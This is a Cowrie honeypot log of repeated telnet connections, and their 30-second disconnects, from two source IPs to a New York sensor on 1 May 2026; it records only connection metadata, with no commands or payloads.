{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":50596,"dst_ip":"10.17.0.5","dst_port":23,"session":"3fc2dbf0c371","protocol":"telnet","message":"New connection: 208.115.219.122:50596 (10.17.0.5:23) [session: 3fc2dbf0c371]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:50.768412Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":50628,"dst_ip":"10.17.0.5","dst_port":23,"session":"9ef42f8c70fd","protocol":"telnet","message":"New connection: 208.115.219.122:50628 (10.17.0.5:23) [session: 9ef42f8c70fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:50.852842Z"}
{"eventid":"cowrie.session.closed","duration":30.655205011367798,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:51.037388Z","src_ip":"208.115.219.122","session":"b750ac00dfcf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":50664,"dst_ip":"10.17.0.5","dst_port":23,"session":"6bf355219639","protocol":"telnet","message":"New connection: 208.115.219.122:50664 (10.17.0.5:23) [session: 6bf355219639]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:51.048481Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":50682,"dst_ip":"10.17.0.5","dst_port":23,"session":"be4a44a63923","protocol":"telnet","message":"New connection: 208.115.219.122:50682 (10.17.0.5:23) [session: be4a44a63923]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:51.141536Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":50696,"dst_ip":"10.17.0.5","dst_port":23,"session":"dd670109209b","protocol":"telnet","message":"New connection: 208.115.219.122:50696 (10.17.0.5:23) [session: dd670109209b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:51.174881Z"}
{"eventid":"cowrie.session.closed","duration":30.460028409957886,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:51.202222Z","src_ip":"208.115.219.122","session":"54a9e41b1d78","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.400173902511597,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:51.227324Z","src_ip":"208.115.219.122","session":"edfe283c0d5d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.79485321044922,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:51.252727Z","src_ip":"208.115.219.122","session":"f353e7ebffcd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":50934,"dst_ip":"10.17.0.5","dst_port":23,"session":"3005883232af","protocol":"telnet","message":"New connection: 208.115.219.122:50934 (10.17.0.5:23) [session: 3005883232af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:51.693083Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":50968,"dst_ip":"10.17.0.5","dst_port":23,"session":"5c825bdaac76","protocol":"telnet","message":"New connection: 208.115.219.122:50968 (10.17.0.5:23) [session: 5c825bdaac76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:51.751559Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":50994,"dst_ip":"10.17.0.5","dst_port":23,"session":"a87d38e9e65b","protocol":"telnet","message":"New connection: 208.115.219.122:50994 (10.17.0.5:23) [session: a87d38e9e65b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:51.830415Z"}
{"eventid":"cowrie.session.closed","duration":30.896411418914795,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:52.018860Z","src_ip":"208.115.219.122","session":"187d56c75b69","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.21025776863098,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:52.026747Z","src_ip":"208.115.219.122","session":"ac4d8491bbe3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.298079013824463,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:52.043298Z","src_ip":"208.115.219.122","session":"5e63bc8d21ab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":51036,"dst_ip":"10.17.0.5","dst_port":23,"session":"87fcfbb2bd4a","protocol":"telnet","message":"New connection: 208.115.219.122:51036 (10.17.0.5:23) [session: 87fcfbb2bd4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:52.056999Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":51046,"dst_ip":"10.17.0.5","dst_port":23,"session":"6fe99ee580cb","protocol":"telnet","message":"New connection: 208.115.219.122:51046 (10.17.0.5:23) [session: 6fe99ee580cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:52.101811Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":51062,"dst_ip":"10.17.0.5","dst_port":23,"session":"8e9243c2d4b0","protocol":"telnet","message":"New connection: 208.115.219.122:51062 (10.17.0.5:23) [session: 8e9243c2d4b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:52.178684Z"}
{"eventid":"cowrie.session.closed","duration":31.036978483200073,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:52.195010Z","src_ip":"208.115.219.122","session":"56d0ae0fe7a4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":51068,"dst_ip":"10.17.0.5","dst_port":23,"session":"4fa2a66d878d","protocol":"telnet","message":"New connection: 208.115.219.122:51068 (10.17.0.5:23) [session: 4fa2a66d878d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:52.278317Z"}
{"eventid":"cowrie.session.closed","duration":31.104180097579956,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:52.787695Z","src_ip":"208.115.219.122","session":"5559292f480d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":51076,"dst_ip":"10.17.0.5","dst_port":23,"session":"9928cafb6267","protocol":"telnet","message":"New connection: 208.115.219.122:51076 (10.17.0.5:23) [session: 9928cafb6267]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:52.802603Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":51078,"dst_ip":"10.17.0.5","dst_port":23,"session":"da521f3cf3a6","protocol":"telnet","message":"New connection: 208.115.219.122:51078 (10.17.0.5:23) [session: da521f3cf3a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:52.876235Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":51092,"dst_ip":"10.17.0.5","dst_port":23,"session":"4d262dc5a7c1","protocol":"telnet","message":"New connection: 208.115.219.122:51092 (10.17.0.5:23) [session: 4d262dc5a7c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:53.035240Z"}
{"eventid":"cowrie.session.closed","duration":30.78748607635498,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:53.131102Z","src_ip":"208.115.219.122","session":"5de076e3b3db","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.983702421188354,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:53.137098Z","src_ip":"208.115.219.122","session":"14a254b1b73c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":51104,"dst_ip":"10.17.0.5","dst_port":23,"session":"ef869c958ef1","protocol":"telnet","message":"New connection: 208.115.219.122:51104 (10.17.0.5:23) [session: ef869c958ef1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:53.154368Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":51108,"dst_ip":"10.17.0.5","dst_port":23,"session":"e59d9476871f","protocol":"telnet","message":"New connection: 208.115.219.122:51108 (10.17.0.5:23) [session: e59d9476871f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:53.160772Z"}
{"eventid":"cowrie.session.closed","duration":30.66169309616089,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:53.459501Z","src_ip":"208.115.219.122","session":"b09b731f5057","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":51120,"dst_ip":"10.17.0.5","dst_port":23,"session":"f40e50755f2b","protocol":"telnet","message":"New connection: 208.115.219.122:51120 (10.17.0.5:23) [session: f40e50755f2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:53.477685Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":51124,"dst_ip":"10.17.0.5","dst_port":23,"session":"c60da6cee62c","protocol":"telnet","message":"New connection: 208.115.219.122:51124 (10.17.0.5:23) [session: c60da6cee62c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:53.545980Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":51126,"dst_ip":"10.17.0.5","dst_port":23,"session":"08ad314ddb8b","protocol":"telnet","message":"New connection: 208.115.219.122:51126 (10.17.0.5:23) [session: 08ad314ddb8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:53.588575Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":51174,"dst_ip":"10.17.0.5","dst_port":23,"session":"ca4ff3f84497","protocol":"telnet","message":"New connection: 208.115.219.122:51174 (10.17.0.5:23) [session: ca4ff3f84497]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:53.819608Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":34382,"dst_ip":"10.17.0.5","dst_port":23,"session":"4398cd638582","protocol":"telnet","message":"New connection: 208.115.200.90:34382 (10.17.0.5:23) [session: 4398cd638582]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:54.024796Z"}
{"eventid":"cowrie.session.closed","duration":30.608636617660522,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:54.030995Z","src_ip":"208.115.219.122","session":"162faac39b6e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.87840223312378,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:54.042069Z","src_ip":"208.115.219.122","session":"08981cac14bb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.927589416503906,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:54.048575Z","src_ip":"208.115.219.122","session":"726a23ae9aae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.14029359817505,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:54.057076Z","src_ip":"208.115.219.122","session":"181b00b15e9c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":51188,"dst_ip":"10.17.0.5","dst_port":23,"session":"da4286f4b362","protocol":"telnet","message":"New connection: 208.115.219.122:51188 (10.17.0.5:23) [session: da4286f4b362]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:54.081968Z"}
{"eventid":"cowrie.session.closed","duration":30.962677001953125,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:54.183275Z","src_ip":"208.115.219.122","session":"62ab59e389ad","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.44555115699768,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:54.241196Z","src_ip":"208.115.219.122","session":"2aed69d93ed6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":51252,"dst_ip":"10.17.0.5","dst_port":23,"session":"5c45901a103f","protocol":"telnet","message":"New connection: 208.115.219.122:51252 (10.17.0.5:23) [session: 5c45901a103f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:54.246198Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":51300,"dst_ip":"10.17.0.5","dst_port":23,"session":"59b39ba455a8","protocol":"telnet","message":"New connection: 208.115.219.122:51300 (10.17.0.5:23) [session: 59b39ba455a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:54.344516Z"}
{"eventid":"cowrie.session.closed","duration":30.61898422241211,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:54.497020Z","src_ip":"208.115.219.122","session":"f3824beb08bb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":51426,"dst_ip":"10.17.0.5","dst_port":23,"session":"03383275c3b5","protocol":"telnet","message":"New connection: 208.115.219.122:51426 (10.17.0.5:23) [session: 03383275c3b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:54.812704Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":51432,"dst_ip":"10.17.0.5","dst_port":23,"session":"48f1d1595c71","protocol":"telnet","message":"New connection: 208.115.219.122:51432 (10.17.0.5:23) [session: 48f1d1595c71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:54.838321Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":51484,"dst_ip":"10.17.0.5","dst_port":23,"session":"9693888b5807","protocol":"telnet","message":"New connection: 208.115.219.122:51484 (10.17.0.5:23) [session: 9693888b5807]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:55.042650Z"}
{"eventid":"cowrie.session.closed","duration":30.258688926696777,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:55.062778Z","src_ip":"208.115.219.122","session":"871619e98347","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":48934,"dst_ip":"10.17.0.5","dst_port":23,"session":"f33fdf7b4367","protocol":"telnet","message":"New connection: 208.115.200.90:48934 (10.17.0.5:23) [session: f33fdf7b4367]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:55.176944Z"}
{"eventid":"cowrie.session.closed","duration":30.862701177597046,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:55.198409Z","src_ip":"208.115.219.122","session":"58096b5b1428","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.40850067138672,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:55.225732Z","src_ip":"208.115.219.122","session":"3bae0a929a48","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.26222801208496,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:55.486211Z","src_ip":"208.115.219.122","session":"4bd7921e6158","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":36540,"dst_ip":"10.17.0.5","dst_port":23,"session":"e5bc35fb8e1f","protocol":"telnet","message":"New connection: 208.115.219.122:36540 (10.17.0.5:23) [session: e5bc35fb8e1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:55.890274Z"}
{"eventid":"cowrie.session.closed","duration":30.545063018798828,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:56.018990Z","src_ip":"208.115.219.122","session":"9003a84489f8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":36546,"dst_ip":"10.17.0.5","dst_port":23,"session":"b6897a94f857","protocol":"telnet","message":"New connection: 208.115.219.122:36546 (10.17.0.5:23) [session: b6897a94f857]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:56.061187Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":36556,"dst_ip":"10.17.0.5","dst_port":23,"session":"30badc463195","protocol":"telnet","message":"New connection: 208.115.219.122:36556 (10.17.0.5:23) [session: 30badc463195]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:56.134582Z"}
{"eventid":"cowrie.session.closed","duration":30.77846908569336,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:56.140674Z","src_ip":"208.115.219.122","session":"29a6492fe3d1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.999982357025146,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:56.148949Z","src_ip":"208.115.219.122","session":"6d0bb1fb0d9e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":48942,"dst_ip":"10.17.0.5","dst_port":23,"session":"0020842a0ecc","protocol":"telnet","message":"New connection: 208.115.200.90:48942 (10.17.0.5:23) [session: 0020842a0ecc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:56.216579Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":36572,"dst_ip":"10.17.0.5","dst_port":23,"session":"7e0c6687ffc2","protocol":"telnet","message":"New connection: 208.115.219.122:36572 (10.17.0.5:23) [session: 7e0c6687ffc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:56.298415Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":36588,"dst_ip":"10.17.0.5","dst_port":23,"session":"c59fff2c1e00","protocol":"telnet","message":"New connection: 208.115.219.122:36588 (10.17.0.5:23) [session: c59fff2c1e00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:56.368949Z"}
{"eventid":"cowrie.session.closed","duration":31.256752252578735,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:56.552349Z","src_ip":"208.115.219.122","session":"1af245274339","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.03599762916565,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:57.023576Z","src_ip":"208.115.219.122","session":"e6c922a4a695","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.995488166809082,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:57.029173Z","src_ip":"208.115.219.122","session":"f1e019c44c64","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.829013109207153,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:57.044444Z","src_ip":"208.115.219.122","session":"a585b0280959","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":36598,"dst_ip":"10.17.0.5","dst_port":23,"session":"ac41db53bea1","protocol":"telnet","message":"New connection: 208.115.219.122:36598 (10.17.0.5:23) [session: ac41db53bea1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:57.074262Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":36608,"dst_ip":"10.17.0.5","dst_port":23,"session":"f477a1667a16","protocol":"telnet","message":"New connection: 208.115.219.122:36608 (10.17.0.5:23) [session: f477a1667a16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:57.085141Z"}
{"eventid":"cowrie.session.closed","duration":30.50588822364807,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:57.140275Z","src_ip":"208.115.219.122","session":"6cdfd10c7d19","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":36618,"dst_ip":"10.17.0.5","dst_port":23,"session":"01a89b93a917","protocol":"telnet","message":"New connection: 208.115.219.122:36618 (10.17.0.5:23) [session: 01a89b93a917]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:57.183509Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":36624,"dst_ip":"10.17.0.5","dst_port":23,"session":"749553a0ec39","protocol":"telnet","message":"New connection: 208.115.219.122:36624 (10.17.0.5:23) [session: 749553a0ec39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:57.213653Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":36632,"dst_ip":"10.17.0.5","dst_port":23,"session":"b1979ed3261b","protocol":"telnet","message":"New connection: 208.115.219.122:36632 (10.17.0.5:23) [session: b1979ed3261b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:57.218167Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":48946,"dst_ip":"10.17.0.5","dst_port":23,"session":"e5e8b604d502","protocol":"telnet","message":"New connection: 208.115.200.90:48946 (10.17.0.5:23) [session: e5e8b604d502]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:57.246356Z"}
{"eventid":"cowrie.session.closed","duration":31.229530096054077,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:57.450453Z","src_ip":"208.115.219.122","session":"e35105c7fa1d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":36640,"dst_ip":"10.17.0.5","dst_port":23,"session":"47001d496c03","protocol":"telnet","message":"New connection: 208.115.219.122:36640 (10.17.0.5:23) [session: 47001d496c03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:57.511096Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":36650,"dst_ip":"10.17.0.5","dst_port":23,"session":"3065bb4fd326","protocol":"telnet","message":"New connection: 208.115.219.122:36650 (10.17.0.5:23) [session: 3065bb4fd326]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:57.653929Z"}
{"eventid":"cowrie.session.closed","duration":30.701911449432373,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:58.023118Z","src_ip":"208.115.219.122","session":"d92021530f7b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.913901329040527,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:58.028407Z","src_ip":"208.115.219.122","session":"257d36be8176","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.99524474143982,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:58.052901Z","src_ip":"208.115.219.122","session":"60bce318815a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":36664,"dst_ip":"10.17.0.5","dst_port":23,"session":"895c82b9b61b","protocol":"telnet","message":"New connection: 208.115.219.122:36664 (10.17.0.5:23) [session: 895c82b9b61b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:58.293666Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":48948,"dst_ip":"10.17.0.5","dst_port":23,"session":"ff4a06b0cc0d","protocol":"telnet","message":"New connection: 208.115.200.90:48948 (10.17.0.5:23) [session: ff4a06b0cc0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:58.516591Z"}
